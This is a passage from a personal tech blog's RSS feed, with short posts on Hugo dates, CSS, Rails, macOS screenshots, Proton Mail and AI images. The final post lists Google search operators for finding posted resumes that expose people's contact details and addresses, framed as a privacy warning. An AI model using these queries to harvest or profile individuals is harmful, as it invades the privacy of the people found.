<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go-html-template" data-lang="go-html-template"><span class="line"><span class="cl"><span class="cp">{{</span><span class="w"> </span><span class="nx">now</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nx">dateFormat</span><span class="w"> </span><span class="s">&#34;2006-01-02 15:04 PST -0700&#34;</span><span class="w"> </span><span class="cp">}}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Output. Note how Hugo changed the offset from <code>-0700</code> to <code>-0800</code> in this case:</p>
<pre tabindex="0"><code>2024-12-22 14:30 PST -0800
</code></pre><br>
<p>The second way:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go-html-template" data-lang="go-html-template"><span class="line"><span class="cl"><span class="cp">{{</span><span class="w"> </span><span class="nx">now</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nx">dateFormat</span><span class="w"> </span><span class="s">&#34;2006-01-02 15:04 PST UTC-0700&#34;</span><span class="w"> </span><span class="cp">}}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Output. Hugo once again changed the offset from <code>UTC-0700</code> to <code>UTC-0800</code>:</p>
<pre tabindex="0"><code>2024-12-22 14:30 PST UTC-0800
</code></pre><h2 id="timezones-and-cicd">Timezones and CI/CD</h2>
<p>These snippets work for your current timezone but if you use a 

<a href="https://en.wikipedia.org/wiki/CI/CD" target="_blank" rel="noopener">CI/CD solution</a> you may need to specify the timezone through an environment variable or etc. It depends on your CI/CD solution. I couldn&rsquo;t find a way to set the timezone in Hugo itself so I don&rsquo;t think it&rsquo;s possible.</p>
<h2 id="using-shortcodes">Using Shortcodes</h2>
<p>These snippets can be copied and pasted into <code>.html</code> templates. However, to use them in Markdown files, you&rsquo;ll need to create a separate file in <code>layouts/shortcodes/</code> and then use that shortcode in a markdown file.</p>
<p>For example, I can create a file <code>generate_date.html</code> in <code>layouts/shortcodes/</code> with the following contents:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go-html-template" data-lang="go-html-template"><span class="line"><span class="cl"><span class="cp">{{</span><span class="w"> </span><span class="nx">now</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nx">dateFormat</span><span class="w"> </span><span class="s">&#34;2006-01-02&#34;</span><span class="w"> </span><span class="cp">}}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Then I can reference this shortcode in a markdown file with this syntax:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-md" data-lang="md"><span class="line"><span class="cl">{{&lt; generate_date &gt;}}
</span></span></code></pre></td></tr></table>
</blockquote><p>An example along with some other markdown:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-md" data-lang="md"><span class="line"><span class="cl"><span class="gh"># A Header in Markdown
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Some text in markdown
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="ge">*The current date is*</span>: {{&lt; generate_date &gt;}}
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="references">References</h2>
<ul>
<li>

<a href="https://discourse.gohugo.io/t/how-to-display-time-by-timezone/42643/7" target="_blank" rel="noopener">https://discourse.gohugo.io/t/how-to-display-time-by-timezone/42643/7</a></li>
<li>

<a href="https://community.cloudflare.com/t/hugo-timezone-format-issue/390678" target="_blank" rel="noopener">https://community.cloudflare.com/t/hugo-timezone-format-issue/390678</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Render HTML and CSS if JavaScript Is Disabled Using the `&lt;noscript&gt;` Tag</title>
      <link>https://nelson.cloud/render-html-and-css-if-javascript-is-disabled-using-the-noscript-tag/?ref=rss</link>
      <pubDate>Sat, 30 Nov 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/render-html-and-css-if-javascript-is-disabled-using-the-noscript-tag/?ref=rss</guid>
      <description>Render HTML and apply CSS styles if JavaScript is disabled.</description><content:encoded><![CDATA[<p>I recently learned about the 

<a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/noscript" target="_blank" rel="noopener"><code>&lt;noscript&gt;</code> HTML tag</a>. HTML and CSS contained within <code>&lt;noscript&gt;</code> tags will be rendered if JavaScript is disabled in the browser.</p>
<p>For example, try reloading this page with JavaScript disabled and you&rsquo;ll see a new message below:</p>
<noscript>
    <blockquote>This message only shows up when JavaScript is disabled!</blockquote>
</noscript>
<p>The HTML for the message above looks like this:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">noscript</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">blockquote</span><span class="p">&gt;</span>This message only shows up when JavaScript is disabled!<span class="p">&lt;/</span><span class="nt">blockquote</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">noscript</span><span class="p">&gt;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Here&rsquo;s an example where CSS styles within <code>&lt;noscript&gt;</code> tags are applied when JavaScript is disabled. Try reloading this page without JavaScript and the message below will be italicized.</p>
<noscript>
    <style>
        blockquote#example {
            font-style: italic;
        }
    </style>
</noscript>
<blockquote id="example">The text within this blockquote element is italicized when JavaScript is disabled!</blockquote>
<p>And this is what the HTML and CSS looks like for the example above:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">noscript</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">style</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="nt">blockquote</span><span class="p">#</span><span class="nn">example</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">font-style</span><span class="p">:</span> <span class="kc">italic</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">style</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">noscript</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">blockquote</span> <span class="na">id</span><span class="o">=</span><span class="s">&#34;example&#34;</span><span class="p">&gt;</span>The text within this blockquote element is italicized when JavaScript is disabled!<span class="p">&lt;/</span><span class="nt">blockquote</span><span class="p">&gt;</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="references">References</h2>
<ul>
<li>

<a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/noscript" target="_blank" rel="noopener">https://developer.mozilla.org/en-US/docs/Web/HTML/Element/noscript</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>The prefers-reduced-motion CSS Media Query</title>
      <link>https://nelson.cloud/the-prefers-reduced-motion-css-media-query/?ref=rss</link>
      <pubDate>Wed, 27 Nov 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/the-prefers-reduced-motion-css-media-query/?ref=rss</guid>
      <description>Apply CSS styles conditionally when a user enables reduced motion on their device.</description><content:encoded><![CDATA[<p>I recently learned about the <code>prefers-reduced-motion</code> 

<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion" target="_blank" rel="noopener">CSS media query</a>. In a nutshell, if a user enables reduced motion on their device/browser, the CSS styles within this media query will be applied.</p>
<p>For example, if buttons have animations when they&rsquo;re clicked like this:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="nt">button</span><span class="p">:</span><span class="nd">active</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">transform</span><span class="p">:</span> <span class="nb">translateY</span><span class="p">(</span><span class="mi">4</span><span class="kt">px</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>We can disable those animations if a user has enabled reduced motion on their device by using the <code>prefers-reduced-motion</code> media query like this:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="p">@</span><span class="k">media</span> <span class="o">(</span><span class="nt">prefers-reduced-motion</span><span class="o">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c">/* anything in here will apply on devices with reduced motion enabled */</span>
</span></span><span class="line"><span class="cl">    <span class="nt">button</span><span class="p">:</span><span class="nd">active</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">transform</span><span class="p">:</span> <span class="kc">none</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Technically, the CSS being applied under <code>prefers-reduced-motion</code> doesn&rsquo;t need to be related to motions or animations. It&rsquo;s possible to do other things, like changing the background color, if a user prefers reduced motion. So something like this is possible too:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-css" data-lang="css"><span class="line"><span class="cl"><span class="nt">body</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">background-color</span><span class="p">:</span> <span class="kc">red</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">@</span><span class="k">media</span> <span class="o">(</span><span class="nt">prefers-reduced-motion</span><span class="o">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">body</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">background-color</span><span class="p">:</span> <span class="kc">blue</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The Mozilla docs cover how to enable reduced motion on several browsers:</p>
<ul>
<li>

<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion" target="_blank" rel="noopener">https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion</a></li>
</ul>
<h2 id="references">References</h2>
<ul>
<li>

<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@media" target="_blank" rel="noopener">https://developer.mozilla.org/en-US/docs/Web/CSS/@media</a></li>
<li>

<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion" target="_blank" rel="noopener">https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion</a></li>
<li>

<a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_media_queries/Using_media_queries" target="_blank" rel="noopener">https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_media_queries/Using_media_queries</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Leaving Proton Mail</title>
      <link>https://nelson.cloud/leaving-proton-mail/?ref=rss</link>
      <pubDate>Tue, 26 Nov 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/leaving-proton-mail/?ref=rss</guid>
      <description>Reasons why I won&amp;rsquo;t renew my Proton subscription.</description><content:encoded><![CDATA[<p>I&rsquo;ve been a 

<a href="https://proton.me/" target="_blank" rel="noopener">Proton</a> subscriber for around 2 years now. I won&rsquo;t be renewing my subscription for several reasons.</p>
<p>Overall, I just don&rsquo;t think Proton is focused as a company and their core offerings are lacking even after years of customers providing feedback. I mainly subscribed for 

<a href="https://proton.me/mail" target="_blank" rel="noopener">Proton Mail</a> to be able to use a custom domain. I&rsquo;m also trying really hard to 

<a href="https://en.wikipedia.org/wiki/DeGoogle" target="_blank" rel="noopener">de-Google</a> my life. Proton seemed like the obvious choice to introduce more privacy in my life.</p>
<p>Over the years Proton Mail has not improved very much. It&rsquo;s still very slow and has UI bugs.</p>
<p>A common UI bug I run into is that emails don&rsquo;t render properly in dark mode. The text in my emails will be white along with the background, making the emails unreadable. 

<a href="https://www.reddit.com/r/ProtonMail/comments/1gwxt2t/another_email_in_dark_mode_that_cant_be_read_ios/" target="_blank" rel="noopener">Here is a Reddit post</a> where a user runs into this very issue.</p>
<p>In regards to speed, I don&rsquo;t expect Proton Mail to be blazing fast since there is end-to-end encryption, but I thought I would see a few speed improvements after a few years. That has not been the case.</p>
<p>Proton also released a 

<a href="https://proton.me/support/mail-desktop-app" target="_blank" rel="noopener">Proton Mail desktop app</a> that is as slow and buggy as the website. This is because it&rsquo;s an 

<a href="https://www.electronjs.org/" target="_blank" rel="noopener">Electron</a> app. When it was released I installed it, used it for around 10 minutes, then deleted it. It offers no benefit over the Proton site itself.</p>
<p>Instead of focusing on optimizations and bug fixes, Proton rolled out 

<a href="https://proton.me/blog/proton-scribe-writing-assistant" target="_blank" rel="noopener">Scribe</a>. It&rsquo;s basically an AI assistant for emails. This is the wrong area to focus in, in my opinion. Also, it feels like Proton is just following the current trend of tacking on 

<a href="https://en.wikipedia.org/wiki/Large_language_model" target="_blank" rel="noopener">LLMs</a> into every product.</p>
<p>Aside from mail, 

<a href="https://proton.me/calendar" target="_blank" rel="noopener">Proton Calendar</a>, 

<a href="https://proton.me/drive" target="_blank" rel="noopener">Proton Drive</a>, and 

<a href="https://protonvpn.com/" target="_blank" rel="noopener">Proton VPN</a> were also services I was interested in. With the exception of Proton Drive, I found these services to also be lacking. Proton Calendar was barebones for a calendar and I don&rsquo;t trust it to use professionally. I still use Google Calendar for scheduling important meetings. Proton VPN gets the job done, but it is not as customizable as 

<a href="https://mullvad.net/" target="_blank" rel="noopener">Mullvad VPN</a>. In my case, I like being able to choose the protocol and port to use when connecting to a VPN. Mullvad VPN lets me do that. Proton VPN does not.</p>
<p>Finally, Proton released 

<a href="https://proton.me/blog/proton-wallet-launch" target="_blank" rel="noopener">Proton Wallet</a>. This came out of the blue. I do not understand why they would work on this service when their other offerings need more work. There was a lot of 

<a href="https://www.reddit.com/r/ProtonMail/comments/1eayqs4/proton_wallet_early_access/" target="_blank" rel="noopener">community backlash on Reddit</a> when they announced it. Here&rsquo;s 

<a href="https://www.reddit.com/r/ProtonMail/comments/1ebfjp4/proton_wallet_is_unexpected/" target="_blank" rel="noopener">some more feedback</a> that overall represents my sentiments.</p>
<p>This post is meant as honest feedback. Proton has a 

<a href="https://proton.me/about" target="_blank" rel="noopener">respectable mission</a> that resonates with me. I wish Proton well and I hope I can return some day. I sincerely mean that.</p>
<h2 id="further-reading">Further Reading</h2>
<ul>
<li>

<a href="https://dbushell.com/2026/01/22/proton-spam/" target="_blank" rel="noopener">Proton Spam and the AI Consent Problem</a></li>
</ul>
<blockquote><p><strong>2025-01-15 Update:</strong></p><p>I was recently made aware about 

<a href="https://proton.me/blog/author/ayen" target="_blank" rel="noopener">Proton CEO Andy Yen</a>&rsquo;s comments regarding the 

<a href="https://en.wikipedia.org/wiki/2024_United_States_presidential_election" target="_blank" rel="noopener">incoming USA administration</a>. Do with this information what you will.</p>
<ul>
<li>

<a href="https://theintercept.com/2025/01/28/proton-mail-andy-yen-trump-republicans/" target="_blank" rel="noopener">https://theintercept.com/2025/01/28/proton-mail-andy-yen-trump-republicans/</a></li>
<li>

<a href="https://archive.ph/txuJ2" target="_blank" rel="noopener">https://archive.ph/txuJ2</a></li>
<li>

<a href="https://www.reddit.com/r/ProtonMail/comments/1i1zjgn/so_that_happened/" target="_blank" rel="noopener">https://www.reddit.com/r/ProtonMail/comments/1i1zjgn/so_that_happened/</a></li>
<li>

<a href="https://www.reddit.com/r/privacy/comments/1i210jg/protonmail_supporting_the_party_that_killed/" target="_blank" rel="noopener">https://www.reddit.com/r/privacy/comments/1i210jg/protonmail_supporting_the_party_that_killed/</a></li>
</ul>
<img src="/leaving-proton/andy-yen-tweet.webp" alt="Andy Yen on Twitter aka X" width="720" height="1149" style="max-width: 100%; height: auto; aspect-ratio: 932 / 1488;" loading="lazy" decoding="async"></blockquote>

]]></content:encoded>
    </item>
    <item>
      <title>Preserve Child Objects When Parent Objects Are Deleted in Ruby on Rails</title>
      <link>https://nelson.cloud/preserve-child-objects-when-parent-objects-are-deleted-in-ruby-on-rails/?ref=rss</link>
      <pubDate>Mon, 18 Nov 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/preserve-child-objects-when-parent-objects-are-deleted-in-ruby-on-rails/?ref=rss</guid>
      <description>Use dependent: :nullify in Rails associations to preserve child records when parent objects are deleted.</description><content:encoded><![CDATA[<p>In most Ruby on Rails models I&rsquo;ve seen <code>dependent: :destroy</code> being used to handle child objects when a parent object is destroyed. I don&rsquo;t know why it took me this long to learn that there is also a <code>:nullify</code> option. Using <code>dependent: :nullify</code> is handy for situations where keeping associated objects after destroying the parent object is important (data retention purposes, etc).</p>
<p>For example, let&rsquo;s say we had a <code>category</code> model and a <code>transaction</code> model defined like so:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Category</span> <span class="o">&lt;</span> <span class="no">ApplicationRecord</span>
</span></span><span class="line"><span class="cl">  <span class="n">has_many</span> <span class="ss">:transactions</span><span class="p">,</span> <span class="ss">dependent</span><span class="p">:</span> <span class="ss">:nullify</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Transaction</span> <span class="o">&lt;</span> <span class="no">ApplicationRecord</span>
</span></span><span class="line"><span class="cl">  <span class="n">belongs_to</span> <span class="ss">:category</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>With this setup, if a category is deleted, and it has transactions associated, the <code>category_id</code> field on each transaction is set to <code>null</code>. The category is deleted but the transactions remain. A new category can then be set for each transaction, or the association can be left as <code>null</code>.</p>
<h2 id="references">References</h2>
<ul>
<li>

<a href="https://guides.rubyonrails.org/association_basics.html" target="_blank" rel="noopener">https://guides.rubyonrails.org/association_basics.html</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Remove Shadows From Screenshots in macOS</title>
      <link>https://nelson.cloud/remove-shadows-from-screenshots-in-macos/?ref=rss</link>
      <pubDate>Sat, 05 Oct 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/remove-shadows-from-screenshots-in-macos/?ref=rss</guid>
      <description>Run this command to remove shadows from your screenshots in macOS: &lt;code&gt;defaults write com.apple.screencapture &amp;quot;disable-shadow&amp;quot; -bool &amp;quot;true&amp;quot;&lt;/code&gt;</description><content:encoded><![CDATA[<p>On macOS, screenshots of windows have an added drop shadow by default for whatever reason. Here&rsquo;s how to remove it:</p>
<p>To remove shadows from screenshots copy and paste this into the command line:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">defaults write com.apple.screencapture <span class="s2">&#34;disable-shadow&#34;</span> -bool <span class="s2">&#34;true&#34;</span>
</span></span></code></pre></td></tr></table>
</blockquote><br>
<p>To reset this setting and have shadows in your screenshots again run this:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">defaults delete com.apple.screencapture <span class="s2">&#34;disable-shadow&#34;</span>
</span></span></code></pre></td></tr></table>
</blockquote><br>
<p>Alternatively, you can press <code>command</code> + <code>shift</code> + <code>4</code> and then press <code>space</code>. Then hold <code>option</code> before you click on a window to take a screenshot. This removes the drop shadow.</p>
<h2 id="references">References</h2>
<ul>
<li>

<a href="https://www.reddit.com/r/MacOS/comments/q7h3xl/any_way_to_take_a_screenshot_on_mac_without_the/" target="_blank" rel="noopener">https://www.reddit.com/r/MacOS/comments/q7h3xl/any_way_to_take_a_screenshot_on_mac_without_the/</a></li>
<li>

<a href="https://www.idownloadblog.com/2014/08/03/how-to-remove-the-shadow-window-screenshots-on-mac-os-x/" target="_blank" rel="noopener">https://www.idownloadblog.com/2014/08/03/how-to-remove-the-shadow-window-screenshots-on-mac-os-x/</a></li>
</ul>
<p>There were several other sites covering this but they didn&rsquo;t get right to the point and/or they were ad-ridden, so I decided to write a straightforward post about this.</p>
]]></content:encoded>
    </item>
    <item>
      <title>AI-Generated Images Discourage Me From Reading Your Blog</title>
      <link>https://nelson.cloud/ai-generated-images-discourage-me-from-reading-your-blog/?ref=rss</link>
      <pubDate>Tue, 01 Oct 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/ai-generated-images-discourage-me-from-reading-your-blog/?ref=rss</guid>
      <description>If you&amp;rsquo;re willing to use AI-generated images, how do I know the text isn&amp;rsquo;t AI-generated?</description><content:encoded><![CDATA[<p>I have a growing hatred for AI-generated images in blogs. It makes me wonder if the text in the blog posts is AI-generated to some extent. It&rsquo;s always disappointing seeing these images in blogs run by individuals. I expect this from corporate blogs but not indie blogs.</p>
<p>I&rsquo;d rather see a shitty 

<a href="https://en.wikipedia.org/wiki/Microsoft_Paint" target="_blank" rel="noopener">Microsoft Paint</a> drawing as opposed to some AI image.</p>
<p>I know there&rsquo;s plenty of things you can roast my blog for but at least you know for a fact you&rsquo;re getting the thoughts of a real human being and not some 

<a href="https://en.wikipedia.org/wiki/Large_language_model" target="_blank" rel="noopener">LLM</a>.</p>
<p>If you run a personal blog, please avoid AI-generated images.</p>
<hr>
<p>Discussion over at 

<a href="https://news.ycombinator.com/item?id=42506989" target="_blank" rel="noopener">Hacker News</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Finding Private Information Through Resumes on Google Search</title>
      <link>https://nelson.cloud/finding-private-information-through-resumes-on-google-search/?ref=rss</link>
      <pubDate>Mon, 16 Sep 2024 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/finding-private-information-through-resumes-on-google-search/?ref=rss</guid>
      <description>Reconsider uploading your resume on the open web.</description><content:encoded><![CDATA[<p>I noticed a lot of people are willing to upload their full unredacted resume to their personal sites.
I recently had an idea of using Google search filters to see how easy it would be to find these.
I wanted to see how easily a malicious person could harvest things like phone numbers, email addresses, and even physical addresses.
Turns out it&rsquo;s not that difficult.</p>
<blockquote><p><strong>Disclaimer:</strong></p>This is purely for educational purposes. I don&rsquo;t plan on collecting information and using it for malicious purposes.</blockquote>

<p>I started by searching domains that host static sites like <code>github.io</code> and <code>pages.dev</code>.</p>
<p>I found a lot of resumes with this Google search. 

<a href="https://www.google.com/search?q=resume.pdf&#43;filetype:pdf&#43;site:github.io" target="_blank" rel="noopener">Try this search yourself</a>.</p>
<pre tabindex="0"><code>resume.pdf filetype:pdf site:github.io
</code></pre><p>Searching for <code>resume</code> instead of <code>resume.pdf</code> also works, but the results are polluted by &ldquo;Resume Guide&rdquo; PDFs and etc.</p>
<br>
<p>Searching for the standard <code>github.com</code> domain also yields lots of results. 

<a href="https://www.google.com/search?q=resume.pdf&#43;filetype:pdf&#43;site:github.com" target="_blank" rel="noopener">Try this search yourself</a>.</p>
<pre tabindex="0"><code>resume.pdf filetype:pdf site:github.com
</code></pre><br>
<p>After GitHub I decided to try the <code>pages.dev</code> domain used by 

<a href="https://pages.cloudflare.com/" target="_blank" rel="noopener">Cloudflare Pages</a>. Here is a simple search query that gives good results. 

<a href="https://www.google.com/search?q=resume&#43;filetype:pdf&#43;site:pages.dev" target="_blank" rel="noopener">Try this search yourself</a>.</p>
<pre tabindex="0"><code>resume filetype:pdf site:pages.dev
</code></pre><br>
<p>The Netlify domain <code>netlify.app</code> is used for static pages and also hosts a lot of resumes that users upload. 

<a href="https://www.google.com/search?q=resume&#43;filetype:pdf&#43;site:netlify.app" target="_blank" rel="noopener">Try this search yourself</a>.</p>
<pre tabindex="0"><code>resume filetype:pdf site:netlify.app
</code></pre><br>
<p>There are top level domains (TLDs) commonly used for personal sites, such as <code>.me</code> and <code>.dev</code>. These domains are also great for finding resumes. Here&rsquo;s a Google search for the <code>.me</code> TLD. 

<a href="https://www.google.com/search?q=resume&#43;filetype:pdf&#43;site:*.me" target="_blank" rel="noopener">Try it yourself</a>.</p>
<pre tabindex="0"><code>resume filetype:pdf site:*.me
</code></pre><br>
<p>And here is a Google search for the <code>.dev</code> TLD which is commonly used by developers. 

<a href="https://www.google.com/search?q=resume&#43;filetype:pdf&#43;site:*.dev" target="_blank" rel="noopener">Try this out yourself</a>.</p>
<pre tabindex="0"><code>resume.pdf filetype:pdf site:*.dev
</code></pre><br>
<p>I didn&rsquo;t try this with other TLDs but I know that other TLDs like <code>.id</code>, <code>.blog</code>, and <code>.codes</code> are usually used for personal sites. Feel free to search by these TLDs and see what you can find!</p>
<p>We can take this further. What if we want to find people based on something more specific than a domain or TLD? I&rsquo;ll keep using the <code>.dev</code> TLD for simplicity but there are many possibilities.</p>
<p>Maybe we want to find someone in a specific city? 

<a href="https://www.google.com/search?q=boston&#43;resume&#43;filetype:pdf&#43;site:*.dev" target="_blank" rel="noopener">Try it yourself</a>.</p>
<pre tabindex="0"><code>boston resume filetype:pdf site:*.dev
</code></pre><br>
<p>Or someone that went to a particular college? 

<a href="https://www.google.com/search?q=University&#43;of&#43;California&#43;Los&#43;Angeles&#43;resume&#43;filetype:pdf&#43;site:*.dev" target="_blank" rel="noopener">Try it yourself</a>.</p>
<pre tabindex="0"><code>University of California Los Angeles resume filetype:pdf site:*.dev
</code></pre><br>
<p>Someone that works or worked at a certain company? 

<a href="https://www.google.com/search?q=%22Apple%2C&#43;Inc%22&#43;resume&#43;filetype%3Apdf&#43;site%3A*.dev" target="_blank" rel="noopener">Try it yourself</a>.</p>
<pre tabindex="0"><code>&#34;Apple, Inc&#34; resume filetype:pdf site:*.dev
</code></pre><br>
<p>Maybe we want the name, number, and address of someone who has worked at a defense company and may know sensitive information important to U.S. national security? Note that I didn&rsquo;t filter based on domain or TLD here. 

<a href="https://www.google.com/search?q=%22resume.pdf%22&#43;%22Raytheon%22&#43;filetype%3Apdf" target="_blank" rel="noopener">Try it yourself</a>.</p>
<pre tabindex="0"><code>&#34;resume.pdf&#34; &#34;Raytheon&#34; filetype:pdf
</code></pre><p><small><i>(I&rsquo;m just joking. Please don&rsquo;t come after me, feds.)</i></small></p>
<br>
<p>I also considered writing a script to run these searches for me, gather all PDF links, download the PDFs, and then parse through them for names, numbers, emails, and addresses.
But I stopped because I have no interest in collecting this information. I just wanted to see and show others how easy it is to find information on the open web. It&rsquo;s definitely possible to write a script to do this though.</p>
<h2 id="conclusion">Conclusion</h2>
<p>In conclusion, it&rsquo;s really easy to find private information on resumes posted online. Please reconsider if you are thinking of making your resume available online.</p>
<h2 id="further-reading">Further Reading</h2>
<p>I am not the first to have this idea. Here&rsquo;s a similar post that you should also check out:</p>
<ul>
<li>

<a href="https://www.trickster.dev/post/simple-ways-to-find-exposed-sensitive-information/" target="_blank" rel="noopener">https://www.trickster.dev/post/simple-ways-to-find-exposed-sensitive-information/</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
